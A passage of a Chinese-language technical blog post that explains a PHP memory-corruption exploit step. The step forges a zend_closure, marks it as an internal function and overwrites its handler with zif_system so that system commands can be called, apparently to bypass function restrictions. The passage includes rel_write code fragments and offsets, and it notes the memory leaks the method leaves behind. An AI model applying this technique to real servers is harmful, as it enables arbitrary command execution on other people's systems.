我们是任意读,但是受限写,只能写入abc块后面空间。而zend_closure在abc前面,所以只能复制到我们能写的地方,然后再处理。

处理一下

$this->rel_write($fake_closure_off + 0x38, 1, 4);  $handler_offset = PHP_MAJOR_VERSION === 8 ? 0x70 : 0x68;//因为主版本的变化,这里的偏移量可能会有所不同,新版本的偏移量我没算  $this->rel_write($fake_closure_off + $handler_offset, $zif_system); 

zend_closure@offset+0x68处是zend_closure.zend_function.zend_internal_function.zif_handler,即函数句柄

同时,我们需要改掉一些标志位:

zend_closure@offset+0x38处是zend_closure.zend_function.zend_internal_function.type,将其更改为内部函数

#define ZEND_INTERNAL_FUNCTION              1 

修改完新的zend_closure,将其赋给helper->b,这样我们就可以对特定standard模块内的函数进行调用了。

调用完后再修改回去,就OK了。

当然,因为我们非法占用了3个128字节的块儿,这些块儿会造成内存泄漏。

还有this->helper->a这个字符串,其对应的内容实质上只是一段内存,并不是真正的字符串,其长度会特别大,这个字符串也得修改回来,不过不改也无所谓了,内存泄漏就泄漏吧~~

评论

暂无
发表评论
 返回顶部 
热度(26)
 关注微信